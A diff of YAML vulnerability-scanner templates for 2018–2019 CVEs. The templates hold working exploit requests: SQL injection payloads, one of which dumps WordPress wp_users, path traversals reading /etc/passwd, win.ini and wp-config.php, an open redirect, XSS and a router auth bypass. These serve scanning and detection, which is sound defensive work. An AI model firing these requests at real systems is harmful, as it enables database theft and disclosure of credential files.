CVE-2018-7314 + +info: + name: Joomla! Component PrayerCenter 3.0.2 - SQL Injection + author: DhiyaneshDK + severity: critical + description: | + SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429. + reference: + - https://www.exploit-db.com/exploits/44160 + - https://github.com/jweny/pocassistdb + - https://github.com/0ps/pocassistdb + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-7314 + cwe-id: CWE-89 + epss-score: 0.00282 + epss-percentile: 0.67968 + cpe: cpe:2.3:a:mlwebtechnologies:prayercenter:3.0.2:*:*:*:*:joomla\!:*:* + metadata: + max-request: 1 + vendor: mlwebtechnologies + product: prayercenter + framework: joomla\! + fofa-query: app="Joomla!-网站安装" + tags: cve,cve2018,joomla,sqli + +variables: + num: "{{rand_int(800000000, 1000000000)}}" + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X" + + matchers: + - type: word + part: body + words: + - "{{md5(num)}}" +# digest: 490a004630440220722cc7f9d0e567817e7947b5b87701bcdd80c1033bfca3be769f9f9f297e8e54022017d46b1bb498cb9d02debccacc4518f31dfcba52e4db8b0f30cf3da8e38ce8f4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-7662.yaml b/poc/cve/CVE-2018-7662.yaml index 9d6f125a5b..54c7a36a08 100644 --- a/poc/cve/CVE-2018-7662.yaml +++ b/poc/cve/CVE-2018-7662.yaml @@ -1,12 +1,9 @@ id: CVE-2018-7662 - info: name: CouchCMS <= 2.0 - Path Disclosure author: ritikchaddha severity: medium description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php. - remediation: | - Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability. reference: - https://github.com/CouchCMS/CouchCMS/issues/46 - https://nvd.nist.gov/vuln/detail/CVE-2018-7662 @@ -15,23 +12,13 @@ info: cvss-score: 5.3 cve-id: CVE-2018-7662 cwe-id: CWE-200 - epss-score: 0.00286 - epss-percentile: 0.65303 - cpe: cpe:2.3:a:couchcms:couch:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: couchcms - product: couch tags: couchcms,fpd,cve,cve2018 - -http: +requests: - method: GET path: - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php" - "{{BaseURL}}/addons/phpmailer/phpmailer.php" - stop-at-first-match: true - matchers-condition: or matchers: - type: word @@ -40,11 +27,11 @@ http: - "mysql2i.func.php on line 10" - "Fatal error: Cannot redeclare mysql_affected_rows() in" condition: and - - type: word part: body words: - "phpmailer.php on line 10" - "Fatal error: Call to a menber function add_event_listener() on a non-object in" condition: and -# digest: 4a0a00473045022100a88a73fd842ad2cffa555b665662f4e1d0aacbc462494072883cd17c8aa13b53022078466295a140b0a0944d811e710700d68708e1d6bd6e0989e346e81faac20dd4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/04/21 diff --git a/poc/cve/CVE-2018-8727.yaml b/poc/cve/CVE-2018-8727.yaml index 6c96472e1f..addd3b0348 100644 --- a/poc/cve/CVE-2018-8727.yaml +++ b/poc/cve/CVE-2018-8727.yaml @@ -1,10 +1,13 @@ id: CVE-2018-8727 + info: name: Mirasys DVMS Workstation <=5.12.6 - Local File Inclusion author: 0x_akoko severity: high description: | Mirasys DVMS Workstation versions 5.12.6 and prior suffer from local file inclusion vulnerabilities. + remediation: | + Upgrade to a patched version of Mirasys DVMS Workstation (>=5.12.7) to mitigate the LFI vulnerability. reference: - https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html - https://www.onvio.nl/nieuws/cve-mirasys-vulnerability @@ -14,11 +17,20 @@ info: cvss-score: 7.5 cve-id: CVE-2018-8727 cwe-id: CWE-22 - tags: cve,cve2018,mirasys,lfi -requests: + epss-score: 0.01105 + epss-percentile: 0.8283 + cpe: cpe:2.3:a:mirasys:dvms_workstation:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: mirasys + product: dvms_workstation + tags: cve,cve2018,mirasys,lfi,packetstorm + +http: - method: GET path: - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini" + matchers: - type: word part: body @@ -27,5 +39,4 @@ requests: - "fonts" - "extensions" condition: and - -# Enhanced by mp on 2022/06/17 +# digest: 4b0a00483046022100a82253f30ef5ebe6336e3c18f4f5b1af45a3515be396ef78d343c989e30f3c06022100ab01d0485d2278def6d54b23d38034fd6001b24c3a556654fde5fc1178ad4fba:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2018-9205.yaml b/poc/cve/CVE-2018-9205.yaml index 28fc6dce12..0dc38f0664 100644 --- a/poc/cve/CVE-2018-9205.yaml +++ b/poc/cve/CVE-2018-9205.yaml @@ -1,7 +1,7 @@ id: CVE-2018-9205 info: - name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion + name: Drupal avatar_uploader v7.x-1.0-beta8 Local File Inclusion author: daffainfo severity: high description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files. @@ -9,30 +9,21 @@ info: reference: - https://www.exploit-db.com/exploits/44501 - https://nvd.nist.gov/vuln/detail/CVE-2018-9205 - - https://www.drupal.org/project/avatar_uploader/issues/2957966 - - https://www.drupal.org/project/avatar_uploader + tags: cve,cve2018,lfi,drupal classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-score: 7.50 cve-id: CVE-2018-9205 cwe-id: CWE-22 - epss-score: 0.0276 - epss-percentile: 0.89486 - cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: drupal - product: avatar_uploader - shodan-query: http.component:"drupal" - tags: cve,cve2018,lfi,drupal,edb -http: +requests: - method: GET path: - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -40,4 +31,5 @@ http: - type: status status: - 200 -# digest: 4a0a0047304502200f4d667be0152747ee5248c2b21b260024e8e493b4fceec5e926d3c618417d80022100ea7cc318aa81baa12c3d8e87b6ecc9651aa326139d74fae7262bba721871141d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by cs on 2022/02/25 diff --git a/poc/cve/CVE-2019-1010290.yaml b/poc/cve/CVE-2019-1010290.yaml index 9530bd36bb..689faa6fcc 100644 --- a/poc/cve/CVE-2019-1010290.yaml +++ b/poc/cve/CVE-2019-1010290.yaml @@ -1,38 +1,25 @@ id: CVE-2019-1010290 - info: - name: Babel - Open Redirect + name: Babel - Open Redirection author: 0x_Akoko severity: medium - description: Babel contains an open redirect vulnerability via redirect.php in the newurl parameter. An attacker can use any legitimate site using Babel to redirect user to a malicious site, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations. - remediation: | - Upgrade to Babel version 7.4.0 or later to mitigate this vulnerability. + description: Babel Multilingual site Babel All is affected by Open Redirection The impact is Redirection to any URL, which is supplied to redirect in a newurl parameter. The component is redirect The attack vector is The victim must open a link created by an attacker reference: - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/ + - https://www.cvedetails.com/cve/CVE-2019-1010290 - http://dev.cmsmadesimple.org/project/files/729 - - https://nvd.nist.gov/vuln/detail/CVE-2019-1010290 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-1010290 cwe-id: CWE-601 - epss-score: 0.00198 - epss-percentile: 0.57529 - cpe: cpe:2.3:a:cmsmadesimple:bable\:multilingual_site:*:*:*:*:*:cms_made_simple:*:* - metadata: - max-request: 1 - vendor: cmsmadesimple - product: bable\ tags: cve,cve2019,redirect,babel - -http: +requests: - method: GET path: - - '{{BaseURL}}/modules/babel/redirect.php?newurl=http://interact.sh' - + - '{{BaseURL}}/modules/babel/redirect.php?newurl=http://example.com' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 490a004630440220387878ef6292c32281b69d76d22d1833cfcf37aefd7665461f4fa9aa4a8c908a02201e0cab4e9fe60f0a856a455a87653fa0c22a12e9f93f7a149301a4adce973ff5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/poc/cve/CVE-2019-10692.yaml b/poc/cve/CVE-2019-10692.yaml index 66751d09e7..7064f774fd 100644 --- a/poc/cve/CVE-2019-10692.yaml +++ b/poc/cve/CVE-2019-10692.yaml @@ -1,22 +1,39 @@ id: CVE-2019-10692 + info: - name: WP Google Maps < 7.11.18 - Unauthenticated SQL Injection + name: WordPress Google Maps <7.11.18 - SQL Injection author: pussycat0x severity: critical description: | - In the wp-google-maps plugin before 7.11.18 for WordPress, - includes/class.rest-api.php in the REST API does not sanitize field names - before a SELECT statement. + WordPress Google Maps plugin before 7.11.18 contains a SQL injection vulnerability. The plugin includes /class.rest-api.php in the REST API and does not sanitize field names before a SELECT statement. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + remediation: | + Update to the latest version of the WordPress Google Maps plugin (7.11.18 or higher). reference: - https://wpscan.com/vulnerability/475404ce-2a1a-4d15-bf02-df0ea2afdaea + - https://wordpress.org/plugins/wp-google-maps/#developers + - https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-google-maps&old=2061433&new_path=%2Fwp-google-maps&new=2061434&sfp_email=&sfph_mail=#file755 - https://nvd.nist.gov/vuln/detail/CVE-2019-10692 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-10692 + cwe-id: CWE-89 + epss-score: 0.9737 + epss-percentile: 0.99884 + cpe: cpe:2.3:a:codecabin:wp_go_maps:*:*:*:*:*:wordpress:*:* metadata: verified: true - tags: cve,cve2019,sqli,wp,wordpress,wp-plugin,unauth,googlemaps -requests: + max-request: 1 + vendor: codecabin + product: wp_go_maps + framework: wordpress + tags: cve,cve2019,wp,wp-plugin,unauth,sqli,wordpress,googlemaps,wpscan + +http: - method: GET path: - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-" + matchers-condition: and matchers: - type: word @@ -26,10 +43,14 @@ requests: - '"user_pass"' - '"user_nicename"' condition: and + - type: word part: header words: - application/json + - type: status status: - 200 + +# digest: 4a0a0047304502205c241d4f1facd76bdfde37c8340bcaa0a5c3ba34416411d6f6da7b8c4ff982c6022100b91a025afcafc53b47ce443d8a9d069bc98738ff8ed3f0a695085d457c8f86ff:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2019-10717.yaml b/poc/cve/CVE-2019-10717.yaml index a7dbe11799..b8437cc1af 100644 --- a/poc/cve/CVE-2019-10717.yaml +++ b/poc/cve/CVE-2019-10717.yaml @@ -1,51 +1,38 @@ id: CVE-2019-10717 - info: name: BlogEngine.NET 3.3.7.0 - Local File Inclusion author: arafatansari severity: high description: | BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter - remediation: | - Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability. reference: - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect - https://github.com/rxtur/BlogEngine.NET/commits/master - https://nvd.nist.gov/vuln/detail/CVE-2019-10717 - - http://seclists.org/fulldisclosure/2019/Jun/44 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N cvss-score: 7.1 cve-id: CVE-2019-10717 cwe-id: CWE-22 - epss-score: 0.0042 - epss-percentile: 0.7135 - cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: dotnetblogengine - product: blogengine.net shodan-query: http.html:"Blogengine.net" - tags: seclists,cve,cve2019,blogengine,lfi,traversal - -http: + verified: "true" + tags: cve,cve2019,blogengine,lfi,traversal +requests: - method: GET path: - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent" - matchers-condition: and matchers: + - type: regex + regex: + - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' - type: word part: header words: - "application/json" - - - type: regex - regex: - - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' - - type: status status: - 200 -# digest: 4a0a0047304502207a78c3eea5496325dbc4090cb59f44b81f482fbc6af996a210ea3f6a826af9c9022100c8e642e06871841e0b09be17c65f947a29bc8093a378d3eb9c778edf4d093102:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/08/03 diff --git a/poc/cve/CVE-2019-11869.yaml b/poc/cve/CVE-2019-11869.yaml index 9c68042cfd..c0fe14853f 100644 --- a/poc/cve/CVE-2019-11869.yaml +++ b/poc/cve/CVE-2019-11869.yaml @@ -1,28 +1,40 @@ id: CVE-2019-11869 info: - name: Yuzo Related Posts plugin XSS + name: WordPress Yuzo <5.12.94 - Cross-Site Scripting author: ganofins severity: medium description: | - The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS + WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting because it mistakenly expects that is_admin() verifies that the request comes from an admin user (it actually only verifies that the - request is for an admin page). An unauthenticated attacker can inject + request is for an admin page). An unauthenticated attacker can consequently inject a payload into the plugin settings, such as the yuzo_related_post_css_and_style setting. - + remediation: | + Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability. reference: - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild - https://wpscan.com/vulnerability/9254 - tags: cve,cve2019,wordpress,wp-plugin,xss + - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/ + - https://wpvulndb.com/vulnerabilities/9254 + - https://nvd.nist.gov/vuln/detail/CVE-2019-11869 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2019-11869 cwe-id: CWE-79 + epss-score: 0.00291 + epss-percentile: 0.65682 + cpe: cpe:2.3:a:yuzopro:yuzo:5.12.94:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: yuzopro + product: yuzo + framework: wordpress + tags: wpscan,cve,cve2019,wordpress,wp-plugin,xss -requests: +http: - raw: - | POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1 @@ -30,12 +42,10 @@ requests: Content-Type: application/x-www-form-urlencoded yuzo_related_post_css_and_style= - - | GET / HTTP/1.1 Host: {{Hostname}} - req-condition: true matchers-condition: and matchers: - type: dsl @@ -44,4 +54,5 @@ requests: - type: dsl dsl: - - "contains(tolower(all_headers_2), 'text/html')" \ No newline at end of file + - "contains(tolower(header_2), 'text/html')" +# digest: 4a0a0047304502203e434583b201eb6937dcda63b874d930113f5e6f71090bd5807ed7ad6b19ed4e022100a467e5ada876ac87ed95ba458d9591c21d92c6602bfbeb0c6990d15eff148044:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-12276.yaml b/poc/cve/CVE-2019-12276.yaml index 05e57f1ea3..c59ef768ea 100644 --- a/poc/cve/CVE-2019-12276.yaml +++ b/poc/cve/CVE-2019-12276.yaml @@ -1,48 +1,34 @@ -id: CVE-2019-12276 - -info: - name: GrandNode 4.40 - Local File Inclusion - author: daffainfo - severity: high - description: | - GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. - remediation: | - A patch for this issue was made on 2019-05-30 in GrandNode 4.40. - reference: - - https://security401.com/grandnode-path-traversal/ - - https://grandnode.com - - https://github.com/grandnode/grandnode - - https://nvd.nist.gov/vuln/detail/CVE-2019-12276 - - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-12276 - cwe-id: CWE-22 - epss-score: 0.96216 - epss-percentile: 0.9938 - cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: grandnode - product: grandnode - tags: packetstorm,cve,cve2019,lfi,grandnode - -http: - - method: GET - path: - - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" - - headers: - Connection: close - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 4b0a00483046022100b725a68a71114229dcc98a941f1a278b86086a42a5d70f3ffc7747c34b2ad720022100ae5c1ac57b87a963be41411a5b8ef07fc9d5bd73e05298da2b719e722e73d181:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +id: CVE-2019-12276 + +info: + name: GrandNode 4.40 - Path Traversal + author: daffainfo + severity: high + description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40. + reference: + - https://security401.com/grandnode-path-traversal/ + - https://www.cvedetails.com/cve/CVE-2019-12276 + tags: cve,cve2019,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-12276 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" + headers: + Connection: close + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/poc/cve/CVE-2019-12583.yaml b/poc/cve/CVE-2019-12583.yaml index ad0c7a2d32..c6b9138d4b 100644 --- a/poc/cve/CVE-2019-12583.yaml +++ b/poc/cve/CVE-2019-12583.yaml @@ -1,12 +1,9 @@ id: CVE-2019-12583 - info: name: Zyxel ZyWall UAG/USG - Account Creation Access author: n-thumann,daffainfo severity: critical description: Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator via the "Free Time" component. This can lead to unauthorized network access or DoS attacks. - remediation: | - Apply the latest firmware update provided by Zyxel to fix the vulnerability. reference: - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/ @@ -16,20 +13,11 @@ info: cvss-score: 9.1 cve-id: CVE-2019-12583 cwe-id: CWE-425 - epss-score: 0.00481 - epss-percentile: 0.73187 - cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zyxel - product: uag2100_firmware tags: cve,cve2019,zyxel,zywall - -http: +requests: - method: GET path: - "{{BaseURL}}/free_time.cgi" - matchers-condition: and matchers: - type: word @@ -38,8 +26,8 @@ http: - "free_time_redirect.cgi?u=" - "&smsOnly=0" condition: and - - type: status status: - 200 -# digest: 4a0a004730450220655bd476a3b983a119dbd65903cfb977f8d9ddac9980194f660440bc170101a8022100f8a58a91284b5bd34541a2b9a8078135d5b4459f96522fa4aeca77bad22321e2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/06/01 diff --git a/poc/cve/CVE-2019-13101.yaml b/poc/cve/CVE-2019-13101.yaml index fc313615ee..3df83cb376 100644 --- a/poc/cve/CVE-2019-13101.yaml +++ b/poc/cve/CVE-2019-13101.yaml @@ -1,22 +1,33 @@ id: CVE-2019-13101 info: + name: D-Link DIR-600M - Authentication Bypass author: Suman_Kar - name: D-Link DIR-600M Authentication Bypass - description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page. severity: critical + description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page. + remediation: | + Update the router's firmware to the latest version provided by D-Link. reference: - https://github.com/d0x0/D-Link-DIR-600M - https://www.exploit-db.com/exploits/47250 - https://nvd.nist.gov/vuln/detail/CVE-2019-13101 + - https://us.dlink.com/en/security-advisory + - http://packetstormsecurity.com/files/153994/D-Link-DIR-600M-Wireless-N-150-Home-Router-Access-Bypass.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 + cvss-score: 9.8 cve-id: CVE-2019-13101 cwe-id: CWE-306 - tags: cve,cve2019,dlink,router,iot + epss-score: 0.03717 + epss-percentile: 0.90795 + cpe: cpe:2.3:o:dlink:dir-600m_firmware:3.02:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: dlink + product: dir-600m_firmware + tags: packetstorm,edb,cve,cve2019,dlink,router,iot -requests: +http: - raw: - | GET /wan.htm HTTP/1.1 @@ -25,13 +36,13 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word + part: body words: - "/PPPoE/" - part: body -# Enhanced by mp on 2022/03/29 + - type: status + status: + - 200 + +# digest: 4a0a00473045022100b34b6d784777c7bc7839f52f456cea0deeb6368c32b2fde7b990016172cf03fd02206ebf149631301f76efd08ba2dbe8308933c817fd6bba2ce7a2603c98f19be223:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2019-13396.yaml b/poc/cve/CVE-2019-13396.yaml index 2c6ab97158..4ae3d70fa0 100644 --- a/poc/cve/CVE-2019-13396.yaml +++ b/poc/cve/CVE-2019-13396.yaml @@ -5,6 +5,8 @@ info: author: 0x_Akoko,daffainfo severity: medium description: FlightPath versions prior to 4.8.2 and 5.0-rc2 are vulnerable to local file inclusion. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/47121 - http://getflightpath.com/node/2650 @@ -14,14 +16,20 @@ info: cvss-score: 5.3 cve-id: CVE-2019-13396 cwe-id: CWE-22 - tags: cve,cve2019,flightpath,lfi - -requests: + epss-score: 0.02107 + epss-percentile: 0.87923 + cpe: cpe:2.3:a:getflightpath:flightpath:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: getflightpath + product: flightpath + tags: cve,cve2019,flightpath,lfi,edb + +http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} - - | POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1 Host: {{Hostname}} @@ -43,10 +51,9 @@ requests: extractors: - type: regex name: token - part: body group: 1 - internal: true regex: - "idden' name='form_token' value='([a-z0-9]+)'>" - -# Enhanced by mp on 2022/07/22 + internal: true + part: body +# digest: 4a0a00473045022002e396e7a1d63165d8e561a47fa2308ae71dce099f8f1bc1bd59269cc9b2f1e1022100ac8a741a9bda49aa5eccbf1c7199e9739bf056cdc058b46677078b064279e318:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-14205.yaml b/poc/cve/CVE-2019-14205.yaml index 0ba5735fe9..9bf7317f64 100644 --- a/poc/cve/CVE-2019-14205.yaml +++ b/poc/cve/CVE-2019-14205.yaml @@ -1,49 +1,30 @@ -id: CVE-2019-14205 - -info: - name: WordPress Nevma Adaptive Images <0.6.67 - Local File Inclusion - author: pikpikcu - severity: high - description: | - WordPress Nevma Adaptive Images plugin before 0.6.67 allows remote attackers to retrieve arbitrary files via the $REQUEST['adaptive-images-settings']['source_file'] parameter in adaptive-images-script.php. - remediation: | - Update to the latest version of the plugin (0.6.67) or apply the patch provided by the vendor. - reference: - - https://github.com/security-kma/EXPLOITING-CVE-2019-14205 - - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html - - https://wordpress.org/plugins/adaptive-images/#developers - - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown - - https://nvd.nist.gov/vuln/detail/CVE-2019-14205 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-14205 - cwe-id: CWE-22 - epss-score: 0.0387 - epss-percentile: 0.90977 - cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: nevma - product: adaptive_images - framework: wordpress - tags: cve,cve2019,wordpress,wp-plugin,lfi,wp - -http: - - method: GET - path: - - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "DB_NAME" - - "DB_PASSWORD" - condition: and - - - type: status - status: - - 200 -# digest: 490a00463044022028407eb28a6a20c76fc5de3569c92314142c0d6a77cc8e140cac2710425b671302200201c8a63814a2d3d66aa73c79c127c06b48cc601c3ca43986c101ca9fa0d1ea:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +id: CVE-2019-14205 +info: + name: WordPress Ext Adaptive Images LFI + author: pikpikcu + severity: high + tags: cve,cve2019,wordpress,wp-plugin,lfi + description: A Local File Inclusion vulnerability in the Nevma Adaptive Images plugin before 0.6.67 for WordPress allows remote attackers to retrieve arbitrary files via the $REQUEST['adaptive-images-settings']['source_file'] parameter in adaptive-images-script.php. + reference: https://github.com/security-kma/EXPLOITING-CVE-2019-14205 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-14205 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php' + + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/cve/CVE-2019-14251.yaml b/poc/cve/CVE-2019-14251.yaml index 9b1fec3938..d13e3a74fd 100644 --- a/poc/cve/CVE-2019-14251.yaml +++ b/poc/cve/CVE-2019-14251.yaml @@ -1,24 +1,36 @@ id: CVE-2019-14251 + info: - name: T24 in TEMENOS Channels R15.01 - Pre Authenticated Path Traversal + name: T24 Web Server - Local File Inclusion author: 0x_Akoko severity: high - description: An unauthenticated path traversal vulnerability was discovered permitting an attacker to exfiltrate data directly from the T24 web server. + description: T24 web server is vulnerable to unauthenticated local file inclusion that permits an attacker to exfiltrate data directly from server. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the T24 Web Server. reference: - https://github.com/kmkz/exploit/blob/master/CVE-2019-14251-TEMENOS-T24.txt - - https://www.cvedetails.com/cve/CVE-2019-14251 - https://vuldb.com/?id.146815 + - https://nvd.nist.gov/vuln/detail/CVE-2019-14251 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-14251 cwe-id: CWE-22 + epss-score: 0.01702 + epss-percentile: 0.86351 + cpe: cpe:2.3:a:temenos:t24:r15.01:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: temenos + product: t24 tags: cve,cve2019,temenos,lfi,unauth -requests: + +http: - method: GET path: - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=/etc/passwd" - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=c:/windows/win.ini" + matchers-condition: and matchers: - type: regex @@ -26,6 +38,8 @@ requests: - "root:.*:0:0:" - "for 16-bit app support" condition: or + - type: status status: - 200 +# digest: 4a0a0047304502206a9235411040b6de7a04c484b4af189424705f1f5c73554a799bf113e2f9b422022100dd0463d775ab00326937037d0202d49ca7b4099817b83612ceb875b918fa0204:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2019-15811.yaml b/poc/cve/CVE-2019-15811.yaml index a8adc52d15..33f53bf13f 100644 --- a/poc/cve/CVE-2019-15811.yaml +++ b/poc/cve/CVE-2019-15811.yaml @@ -1,23 +1,34 @@ id: CVE-2019-15811 + info: - name: DomainMOD 4.13.0 - Cross-Site Scripting + name: DomainMOD <=4.13.0 - Cross-Site Scripting author: arafatansari severity: medium description: | - DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via /reporting/domains/cost-by-month.php in Daterange parameters. + DomainMOD through 